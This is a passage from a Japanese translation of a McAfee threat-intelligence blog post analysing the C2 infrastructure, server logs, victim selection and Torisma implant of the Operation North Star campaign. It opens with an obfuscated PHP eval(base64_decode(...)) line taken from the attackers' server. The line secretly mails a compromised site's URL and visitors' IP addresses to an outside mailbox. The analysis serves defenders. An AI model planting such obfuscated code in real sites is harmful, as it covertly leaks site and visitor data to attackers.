    eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’));

    ?>

    いくつかのログファイルをさらに分析すると、jpg拡張子でホストされたdotmファイルがイスラエルのIPアドレスによってアクセスされていたことがわかりました。このIPアドレスは、主要なDOCXファイルを実行したイスラエルの被害者のものである可能性が高いです。イスラエルのIPアドレスのユーザーエージェント文字列を分析すると、Microsoft + Office + Existence + Discoveryは、問題のdotmファイルがMicrosoft Office（テンプレート挿入）内からダウンロードされたようです。


    攻撃者のソース

    マカフィーの分析によると、攻撃者は2020年9月7日にIPアドレス104.194.220.87からアクセスし悪意のあるASPスクリプト「template-letter.asp」をポストしました。さらに調査すると、ニューヨークのVPNコンシューマーと呼ばれるサービスから発信されていることがわかりました。

    ログファイルから抜粋 攻撃者のIP 104.194.220.87

    同じログファイルから、次のユーザーエージェント文字列が見つかりました。

    “Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”

    ユーザーエージェントの文字列を復号すると、次のようなことが言えます。

    攻撃者は64ビットのWindows10プラットフォームとOffice2016を使用しています。

    オペレーションノーススター のドキュメント分析で説明したとおり、OfficeのバージョンはWord文書の作成の際に見られたのと同じものです


    結論

    分析のためにC2サーバーのコードページと関連するログを取得できるという機会はそうそうありません。第1段階のペイロードの分析から始め、何層にもわたって解読し、明らかにしていく中で、私たちはこの攻撃に関する独自の情報と見解を得ることができました。

    ログファイルの分析によって、インターネットサービスプロバイダやロシア、インドを拠点とする国防関連の請負業者など、オペレーション ノーススターの初期の分析では把握されていなかった潜在的な被害者が明らかになりました。

    また、これまで知られていなかった第2段階のインプラントであるTorismaが、特定の被害者プロファイルに応じてカスタムシェルコードを実行し、カスタムアクションを実行することも明らかになりました。また、攻撃者がイタリアやその他の国で、オークションハウスや印刷会社などの無作為な組織のドメインを使って、1年近くに及ぶ作戦の間に複数の国の組織のデータを収集していたことについてもわかりました。

    興味深い点は、攻撃者は関心のある標的をまとめた特別なリストを有し、さらに詳細な監視を行うために32ビットまたは64ビットの第2インプラントを送るかどうかの決定を下す前にそのリストを検証しているという点です。C2によって送られたインプラントの進捗状況は監視され、ログファイルに書き込まれていました。このことによって、侵入に成功した組織を把握し、今後も監視が可能なのかなどの全体像を捉えることができたのです。

    マカフィーのこの調査結果によって、攻撃方法だけでなく、さらなる悪用のために被害者をいかに評価、選別しているかが初めて明らかになりました。

    オペレーション ノーススター キャンペーンに対して適応性のあるセキュリティアーキテクチャを構築する方法についての詳細はMcAfee Defender’s blogをご覧ください。

     

    [1]https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf

    [2]https://www.ecrypt.eu.org/stream/vestp2.html

     

    ※本ページの内容は2020年11月5日（US時間）更新の以下のMcAfee Blogの内容です。
    原文：Operation North Star: Behind The Scenes
    著者： and